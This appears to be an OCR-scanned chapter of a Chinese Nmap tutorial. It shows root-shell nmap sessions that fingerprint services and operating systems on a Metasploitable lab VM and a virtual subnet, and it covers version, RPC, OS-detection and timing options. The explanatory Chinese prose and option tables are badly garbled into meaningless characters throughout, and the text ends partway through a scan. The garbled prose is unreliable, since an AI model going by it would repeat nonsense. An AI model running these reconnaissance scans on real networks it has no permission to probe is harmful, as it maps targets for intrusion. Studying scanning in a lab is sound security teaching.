192.168.126.131:8180 is http. Version: |Apache Tomcat/Coyote JSP engine|l.1|

NSOCK INFO [11.3380s] nsi delete(): nsi delete (IOD #53)

NSE: Script scanning 192.168.126.131.

NSE: Starting runlevel 1 (of 1) scan.

NSE: Starting rpc-grind against 192.168.126.131:513.

NSE: Starting rpc-grind against 192.168.126.131:111.

NSE: Starting rpc-grind against 192.168.126.131:2049.

NSE: Starting jdwp-version against 192.168.126.131:514.

NSE: Starting rpc-grind against 192.168.126.131:111.

NSE: Starting rpc-grind against 192.168.126.131:111.

NSE: Starting rpc—-grind against 192.168.126.131:111.

NSE: Starting rpc-grind against 192.168,126,131:111,

NSE: Starting rpc—-grind against 192.168.126.131:2049.

NSE: Starting rpc—-grind against 192.168.126.131:2049.

NSE: Starting rpc-grind against 192.168.126.131:2049.

NSE: Starting rpc-grind against 192.168.126.131:2049.

NSE: Finished jdwp-version against 192.168.126.131:514.

NSE: rpc-grind: isRPC didn't receive response.

NSE: Target port 513 is not a RPC port.

NSE: Finished rpc-grind against 192.168.126.131:513.

NSE: Finished rpc-grind against 192.168.126.131:111.

NSE: Finished rpc—-grind against 192.168.126.131:111.

NSE: Finished rpc-grind against 192.168.126.131:2049.

NSE: Finished rpc-grind against 192.168.126.131:111.

NSE: Finished rpc-grind against 192.168.126.131:111.
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NSE: Finished rpc-grind against 192.168.126.131:111.
NSE: Finished rpc-grind against 192.168.126.131:2049.
NSE: Finished rpc-grind against 192.168.126.131:2049.
NSE: Finished rpc-grind against 192.168.126.131:2049.
NSE: Finished rpc-grind against 192.168.126.131:2049.
Nmap scan report for 192.168.126.131

Host is up (0.00031s latency) .

Scanned at 2014-06-11 18:01:09 CST for 1ls

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open tcpwrapped

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51la-3ubuntub

5432/tcp open postgresqgl PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol vl1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:
Unix, Linux; CPE: cpe:/o:linux:linux kernel

Final times for host: srtt: 308 rttvar: 31 to: 100000

Read from /usr/bin/../share/nmap: nmap-mac-prefixes nmap-payloads nmap-service-probes
nmap-services.

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 11.43 seconds

root@Wing:~#

MEE AT LA BRI TEAN(E K, fE T 3RATTHEN T A Nmap B2k 72 A SR 2 1 AH ¢
==



ITY nee

K 4.8 PR AT Nmap tr2 %, R A & 4419 Br i dir & ——RPC 4
*4.8 ATFEWS
® I wm B
sV AT
--allports A3ty 1 RSUAS A
--version-intensity I B R AL
--version-light Lo Rkl
--version-all Gigs//Eatii]
--version-trace IRICVELN A B
-sR RPC 34
-0 JA TR R GEH
--osscan-limit SR E N HARBEAT R 1E R G
--osscan-guess; —-fuzzy HEN R LU

i FH1-sR Wi AT LABEAT RPC $9#. %32 H 5 HoAth g D L DAL S H . eXEra
e R ILITF I TCP/UDP 3 #4047 SunRPC ¥ NULL 4, KX E#E el12& & A RPC i
1, nS & RPC o, R [AIFEF FIRA S

root@Wing:~# nmap -sS -sR 192.168.126.131
WARNING: -sR is now an alias for -sV and activates version detection as well as RPC scan.

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 18:07 CST
Nmap scan report for 192.168.126.131

Host is up (0.00025s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open sntp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login?
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514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysqgl MySQL 5.0.5la-3ubuntub

5432/tcp open postgresqgl PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open wvnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol vl.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:EQ0:2E:76 (VMware)
Unix, Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.43 seconds

root@Wing:~#

a9 FUFT00

EREAT M 28 Z AR, W EREREREHRN B R IFEEN 0 TE, EAZH
PR J7A T Nmap K38 H TR, &0 LAET TCP/IP ik fingerprinting $54C
AR, XFERT R TAHRAE RS R BRI AR E A R .

FATTRT AT R JUAJ5 DO A R GEREATERI,  dei W2 A TTL st S B R AAis
], XRR T — AN 2 BT OB 2 iR, ASRIERAE RGN TTL A
R, FAiTar URSEIZLE TTL RBEATHAE RERN, 2988 TTL har LA h AT s ek, s
XA TTEA T AT . TCP B A0 5 BRI ARYE A [F#4E RGEN € 1) TCP BN R =
SKHATRAIX 5 . ACK J7 5 R EEMSEAUEZ —, NFEERERSAEE ACK JF5 2
A—FERT . WARRYE ICMP RO N REAT VR, AN IR AE R0 ICMP #R ST ) ma R 2 A
I o

BAE RGN ITERZ M EZ RN, HAMUUSRT LR 75, HHRRE, S8R
5 1 AR G5 1 W SR AE AT 20 AT DU o

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:
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) sRmemgks

K 4.9 R AAF AT Nmap fir @4, &I AN i i e 2—— i R AE R
G .
*49 ATFRE®RS
® I ®m B

sV JiR A £
--allports A2 iy RS A R
--version-intensity WeE A o
--version-light La e e ERE
--version-all AR A
--version-trace RIE AN R AAS B
-sR RPC § il
-0 JE AR R G
—-osscan-limit FHRE K H bR AT A RGN
--osscan-guess; --fuzzy HEM 2 45151

fHI-O JETAT LA 5 i I B R AU . 5 SRR AE, DU “O” &7 EE O, HA
AT 00 BIEPKN GETT LLMERAF 2 1R L AP A A AE K R ] o

root@Wing:~# nmap -0 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 18:31 CST
Nmap scan report for 192.168.126.131
Host is up (0.00036s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

102



410 RRRARGRN

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0Q0:2E:76 (VMware)

Device type: general purpose HGRHKE
Running: Linux 2.6.X +ETRS
0S CPE: cpe:/o:linux:linux kernel:2.6 HRGh RS T
0S details: Linux 2.6.9 - 2.6.33 HRERZEMER
Network Distance: 1 hop P EEEE

0S detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds
root@Wing:~#

MEER PTG A bR ENLE—F Linux RFEFENL, FHAZRA R Linux-2.6. N
24— FH#— Windows R4t

root@Wing:~# nmap -0 192.168.126.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 18:34 CST

Nmap scan report for 192.168.126.1

Host is up (0.00059s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

1033/tcp open netinfo

MAC Address: 00:50:56:C0:00:08 (VMware)

Warning: OSScan results may be unreliable because we could not find at least 1 open and
1 closed port

Device type: phone|general purpose

Running (JUST GUESSING) : Microsoft Windows Phone|2008|7|Vista (97%), FreeBSD 6.X (88%)
0S CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows server 2008::beta3 cpe:/
o:microsoft:windows 7::-:professional cpe:/o:microsoft:windows_vista::— cpe:/o:
microsoft:windows_vista::spl cpe:/o:freebsd:freebsd:6.2 cpe:/o:microsoft:windows 8
Aggressive OS guesses: Microsoft Windows Phone 7.5 (97%), Microsoft Windows Server 2008
Beta 3 (97%), Microsoft Windows 7 Professional (97%), Microsoft Windows Vista SPO or SPI1,
Windows Server 2008 SP1, or Windows 7 (97%), Microsoft Windows Vista SP2, Windows 7 SP1,
or Windows Server 2008 (97%), Microsoft Windows Server 2008 SP1 (94%), Microsoft Windows
Vista SPO - SP1 (91%), Microsoft Windows Vista Home Premium SP1l, Windows 7, or Windows
Server 2008 (90%), Microsoft Windows Vista Home Premium SP1 (89%), Microsoft Windows 7
SP1 (89%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 1 hop
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OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds
root@Wing:~#

MEL EZ5RRE, TR N h Windows EHLA B KE S, Nmap A5 & & —M R
A [ Windows 255, HHt TXHRATTRETER B 70 th. A 1E 2| H 471217 Microsoft Windows
Phone|2008|7|Vista ] 1 73 LA 97% & B e AT AT BEME . MRAE Nmap (4] 7, FRATTREOT LA 2
XL, sE2Br b H AR EVLEAT BIERE RS h Windows 7 JEMLAR, i w] I Nmap #3751
A

FEAEH-0 ZHI R, FATAT AR -A SH LA AT HIBUR .

[0 stigsee B ETRERGRM

# 4.10 Fror AAFET T Nmap 2K, RPN GNP dr&—X 552 1
HARBEAT B AE R GeRll

% 4.10 ATRERS
® W 1

sV JR AR
--allports 43 1 R AR
--version-intensity B AR RIE
--version-light Eos e Rt
--version-all HERLEFAM
--version-trace IRECPEAH R A5 B
-sR RPC {1t
-0 JA AR R GE BRI
—osscan-limit Xt 5E i1 B bRt T HRE R G R
--osscan-guess; --fuzzy HEN AR G0 i)

{5 ] --osscan-limit 32 WU 0] LA 45 52 1 B bRt AT 8 /E RGN . Nmap Hxdiie “ HF4T
FERC P o 7 & B ENLEATERAE RGA N, XAERT LAY ZYETTE], FERZZE(EH-PO 33
AT IXANEIAESE F-0 3k-A BHATHEAE R R AT 1R .

root@Wing:~# nmap -O --osscan-limit 192.168.126.131/24
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Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 18:57 CST
Nmap scan report for 192.168.126.1

Host is up (0.00076s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

1033/tcp open netinfo

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.126.2

Host is up (0.0089s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

53/tcp open domain

MAC Address: 00:50:56:F1:06:20 (VMware)

Aggressive OS guesses: Microsoft Windows 7 Enterprise (93%), Microsoft Windows XP SP3 (93%),
DVTel DVT-9540DW network camera (91%), DD-WRT v24-sp2 (Linux 2.4.37) (90%), Linux 3.2 (90%),
BlueArc Titan 2100 NAS device (89%), Brother HL-5170DN printer (88%), Aethra Starvoice
1042 ADSL router (87%), Brother HL-1870N printer (87%), Brother NC-3100h print server (87%)
No exact 0OS matches for host (test conditions non-ideal).

Network Distance: 1 hop

Nmap scan report for 192.168.126.131
Host is up (0.00027s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl

5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)
Device type: general purpose
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Running: Linux 2.6.X

0S CPE: cpe:/o:linux:linux kernel:2.6
0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Nmap scan report for 192.168.126.254

Host is up (0.00022s latency).

All 1000 scanned ports on 192.168.126.254 are filtered
MAC Address: 00:50:56:F1:F0:83 (VMware)

Nmap scan report for 192.168.126.130
Host is up (0.0000040s latency).
All 1000 scanned ports on 192.168.126.130 are closed

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 256 IP addresses (5 hosts up) scanned in 16.33 seconds

root@Wing: ~#

]

‘.@\: VLI 5 L -0 eI A S I

&

HEMRGEFH IR A

F 411 PR AARFPT# Nmap Ay @K, KP4 AN d

M &

5153 AV |8
& 4.11 AT ERS
® I [
sV AR
--allports A= 1R AR
--version-intensity BB AR
--version-light R
--version-all ER e EEEi
--version-trace SRR R AAS B
-sR RPC 4
-0 JA FIHRAE R GE M
--osscan-limit XTRE K H AR T B R Ge Rl
--osscan-guess; --fuzzy HEW RS IRF]
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{4 i --osscan-guess; --fuzzy ZEI0 A AHEN R 4597170 . Nmap X R AT HMN A FFA—%E
AR REMERIR B, I IRUEM IR A%, Nmap & M ERET AR HEUE, KAHHAS I H AR
AAR.

root@Wing:~# nmap -O --osscan-guess 192.168.126.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 19:09 CST

Nmap scan report for 192.168.126.1

Host is up (0.00051s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

1033/tcp open netinfo

MAC Address: 00:50:56:C0:00:08 (VMware)

Warning: OSScan results may be unreliable because we could not find at least 1 open and
1 closed port

Device type: phone|general purpose

Running (JUST GUESSING): Microsoft Windows Phone|2008|7|Vista (97%), FreeBSD 6.X (88%)
OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows _server 2008::beta3 cpe:/
o:microsoft:windows 7::-:professional cpe:/o:microsoft:windows vista::- cpe:/o:
microsoft:windows_vista::spl cpe:/o:freebsd:freebsd:6.2 cpe:/o:microsoft:windows 8
Aggressive OS guesses: Microsoft Windows Phone 7.5 (97%), Microsoft Windows Server 2008
Beta 3 (97%), Microsoft Windows 7 Professional (97%), Microsoft Windows Vista SPO or SP1,
Windows Server 2008 SP1, or Windows 7 (97%), Microsoft Windows Vista SP2, Windows 7 SP1,
or Windows Server 2008 (97%), Microsoft Windows Server 2008 SP1 (94%), Microsoft Windows
7 SP1 (91%), Microsoft Windows Vista SP0O - SP1 (91%), Microsoft Windows Vista Home Premium
SP1, Windows 7, or Windows Server 2008 (90%), Microsoft Windows Vista Home Premium SP1
(89%)

No exact 0S matches for host (test conditions non-ideal).

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.12 seconds
root@Wing:~# nmap -0 --fuzzy 192.168.126.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-11 19:10 CST

Nmap scan report for 192.168.126.1

Host is up (0.00071s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

1033/tcp open netinfo

MAC Address: 00:50:56:C0:00:08 (VMware)

Warning: OSScan results may be unreliable because we could not find at least 1 open and
1 closed port

Device type: phone|general purpose

Running (JUST GUESSING): Microsoft Windows Phone|2008|Vistal|7 (97%), FreeBSD 6.X (88%)
OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server 2008::beta3 cpe:/o:
microsoft:windows vista::- cpe:/o:microsoft:windows_vista::spl cpe:/o:microsoft:
windows 7 cpe:/o:freebsd:freebsd:6.2 cpe:/o:microsoft:windows_8
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Aggressive OS guesses: Microsoft Windows Phone 7.5 (97%), Microsoft Windows Server 2008
Beta 3 (97%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1l, or Windows 7
(97%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (97%), Microsoft
Windows 7 Professional (95%), Microsoft Windows Server 2008 SP1 (94%), Microsoft Windows
Vista SPO - SP1 (91%), Microsoft Windows Vista Home Premium SP1 (89%), Microsoft Windows
7 SP1 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP1 - SP2 (89%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.01 seconds
root@Wing: ~#

AT LAR] Nmap #4858 % (05 B REATHEN, Nmap 2% o] RER R RFHEAT H 70 LA B
TN, XAEEA BE T EIRA A AU, X LGSR A ] Nmap SUAG RIEIR TR £ .

\
:(" - 1X H [f)-osscan-guess; --fuzzy J A —#EHH .
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SR fablimizh

KBRS
o S I T
o AEIHAT R
W A BRI AR ST FFAT BE
T R 4R S It
TFESR 1 1 H AR AL
W AR SO 1] )
ARFATREANHER AR, AEHIER RS, HEEYIBATE AN TR,
VRS AL O B R LI AR B 92 ST T LARAL A KR RIS, B4 G K DS (A
ARG BB

AZIRIN
5.1 i ARENFTT Nmap ar 2K, AHEEERR, EHFRFHEHE,
%51 AEREER
® I ®m B

--min-hostgroup PHHOITAT R AL K
i el letism MBI IE
--max-parallelism
--min-rtt-timeout
--max-rtt-timeout TR R SO I
--initial-rtt-timeout
--host-timeout JBOFHKIE B AR 341
—seardelay BRSO 1
--max-scan-delay




110

L

51 BEEEA

Nmap 3£ T 4R 2 {0 T B A 8 IR TH, AR IX LETETREAT AT LD PR sl J 8 43 o 2
WATCAZERT . SE RS, W RAZESHE — AN KBS 0 4% (1 B A 2 4 R R PLAS B AH B Y 45 2R
Nmap 324 #) 2 I T 2 2 H T6& B Kk B5/IDS (ANREIARS), FHMENSLINH
T REEERT K BE/IDS, AT L K.

) mmsramani

R 5.2 P h AZFPTH Nmap 23K, RPN A& A AN BT &
FRALII RN

HEIFTH

*5.2 ATRBL
EOmM L
--min-hostgroup HEITRBAR KD

--min-parallelism

. TR IR SR HAT BE
--max-parallelism
--min-rtt-timeout
--max-rtt-timeout RGN R ST I
--initial-rtt-timeout
--host-timeout FHFARHE H Fr E AL
--scan-delay

A BRI PR SC A I ] ]

--max-scan-delay

VBT R AL A KN PIANETR, 435l &2 --min-hostgroup 5j--max-hostgroup. Nmap %R
IWEOL FEM TR AR, B ATFRAME/NIA, BNk S, X2il Nmap 76 &5 (¥ 6]
W —MERER LR, BEEBNSKAR RN, BAHR 1024, 5 T RIUEME, Nmap &4
X} UDP 8/b & [ ) TCP 4 .

--max-hostgroup &I A T AE A S A 4H, Nmap A4 XA A/, --min-hostgroup
EIT i I Be /NI ZH, Nmap SR FFAE K FXAME.

{5 FH—min—hostgroup &I T8 =

l root@Wing:~# nmap --min-hostgroup 30 192.168.126.1/24
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Starting Nmap 6.40 ( http://mmap.org ) at 2014-06-12 12:18 CST

Nmap scan report for 192.168.126.1

Host is up (0.00078s latency).

All 1000 scanned ports on 192.168.126.1 are filtered
MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.126.2
Host is up (0.00036s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

53/tcp open domain

MAC Address: 00:50:56:F1:06:20 (VMware)

Nmap scan report for 192.168.126.131
Host is up (0.00042s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind

open telnet

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
5432/tcp open postgresqgl
5900/tcp open vnc
6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap scan report for 192.168.126.254

Host is up (0.00051s latency).

All 1000 scanned ports on 192.168.126.254 are filtered
MAC Address: 00:50:56:F6:8D:B2 (VMware)

Nmap scan report for 192.168.126.130
Host is up (0.0000040s latency) .
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All 1000 scanned ports on 192.168.126.130 are closed

Nmap done: 256 IP addresses (5 hosts up) scanned in 7.99 seconds
root@Wing:~#

{88 F§ ——max—hostgroup IEIH T8 T~

root@Wing:~# nmap --max-hostgroup 10 192.168.126.1/24

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 12:20 CST
Nmap scan report for 192.168.126.1

Host is up (0.00016s latency) .

All 1000 scanned ports on 192.168.126.1 are filtered

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.126.2
Host is up (0.00040s latency) .

Not shown: 999 closed ports

PORT STATE SERVICE

53/tcp open domain

MAC Address: 00:50:56:F1:06:20 (VMware)

Nmap scan report for 192.168.126.131
Host is up (0.00049s latency) .
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql

5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open XI11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)
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Nmap scan report for 192.168.126.254

Host is up (0.00022s latency).

All 1000 scanned ports on 192.168.126.254 are filtered
MAC Address: 00:50:56:F6:8D:B2 (VMware)

Nmap scan report for 192.168.126.130
Host is up (0.0000070s latency).
All 1000 scanned ports on 192.168.126.130 are closed

Nmap done: 256 IP addresses (5 hosts up) scanned in 8.06 seconds
root@Wing: ~#

[B) mummmscmnim

K 53 IR AARET T Nmap #r %, R A2 AN i dr 2 R HR
XIFHATREE
%53 AHRESS
% IR . 4

--min-hostgroup P REAT R AL A
—min-paralleli.sm RS SR AT R
--max-parallelism
--min-rtt-timeout
--max-rtt-timeout AR SR IS
--initial-rtt-timeout
--host-timeout JRFFARE H AR EHL
i VAR SCHOR 1)
--max-scan-delay

W BB SC R IFATEA WA E T, 43 il & --min-parallelism 15 --max-parallelism .
-min-parallelism KT 1 B CAZE 48 8 EHLA G 15 G0 T B8 aF a4, 1BIX 2 52 m 31 45 R I HER
F¥ . -max-parallelism NiZ i & A 1, Bill Nmap X} [R—FEALR— B 8] &% 2 KR 3.

& F——min—parallelism E B T7E =

root@Wing:~# nmap —--min-parallelism 100 192.168.126.1/24

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 12:52 CST
Nmap scan report for 192.168.126.1

Host is up (0.00020s latency).

All 1000 scanned ports on 192.168.126.1 are filtered

MAC Address: 00:50:56:C0:00:08 (VMware)
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Nmap scan report for 192.168.126.2
Host is up (0.00028s latency) .

Not shown: 999 closed ports

PORT STATE SERVICE

53/tcp open domain

MAC Address: 00:50:56:F1:06:20 (VMware)

Nmap scan report for 192.168.126.131
Host is up (0.00025s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysgl

5432/tcp open postgresqgl
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap scan report for 192.168.126.254

Host is up (0.00017s latency).

All 1000 scanned ports on 192.168.126.254 are filtered
MAC Address: 00:50:56:F6:8D:B2 (VMware)

Nmap scan report for 192.168.126.130
Host is up (0.0000040s latency).
All 1000 scanned ports on 192.168.126.130 are closed

Nmap done: 256 IP addresses (5 hosts up) scanned in 5.35 seconds

root@Wing:~#
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{# Al ——max—parallelism EIRFHITIE =

root@Wing:~# nmap —-—-max-parallelism 100 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 13:20 CST
Nmap scan report for 192.168.126.131
Host is up (0.00023s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
root@Wing: ~#

54 FLEE el

R 5.4 PR AT T Nmap 2K, Rt & AN dr &
SO o

P R $ SR IR 3 T AT --min-rtt-timeout. --max-rtt-timeout. --initial-rtt-timeout. IX4&j%
T CAZERE A Bq, X EIETTON T — L4 A I B B R ANBE Ping 3 1) EALA A TR AT I RBERL
S, AT DA R A BT R], A0 238 TR I ik i B E AN BERHE BEE A L TN, A

TR R
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st IESELT NN
*54 ABREHS
i% IR ®m B
--min-hostgroup P HE AT AL K
=R T RN S T
--max-parallelism
--min-rtt-timeout
--max-rtt-timeout AR RSO
—-initial-rtt-timeout
--host-timeout TFEEE B AR Pl
~soan-delay U SRR S 6] L
--max-scan-delay

1 F--max-rtt-timeout ZEIAS, MEH 100 ZF R B EER .. —BBEHLT, rtt HAFD
F 100 2>, thEIFAEEL 1000 ZFb.

{8 A ——initial—-rtt—timeout I # T8 7=~

root@Wing:~# nmap --initial-rtt-timeout 1000ms 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 13:30 CST
Nmap scan report for 192.168.126.131
Host is up (0.00030s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl

5432/tcp open postgresqgl
5900/tcp open vnc

6000/tcp open X11
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6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
root@Wing:~#

TEAF RTINSk, FATZECH i EZMH AL ms, AN Nmap ZAXIE1T I

{8 A ——max—rtt—timeout EIFH I TE T~

root@Wing:~# nmap --max-rtt-timeout 500ms 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 13:33 CST
Nmap scan report for 192.168.126.131
Host is up (0.00028s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysgl

5432/tcp open postgresqgl

5900/tcp open wvnc

6000/tcp open Xl11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
root@Wing: ~#

{8 F ——min-rtt—timeout &I # T7E =~

| rootewing:~# nmap --min-rtt-timeout 500ms 192.168.126.131
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Starting Nmap 6.40 ( http://nmap.org )
Nmap scan report for 192.168.126.131
Host is up (0.00026s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tecp open zrpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc
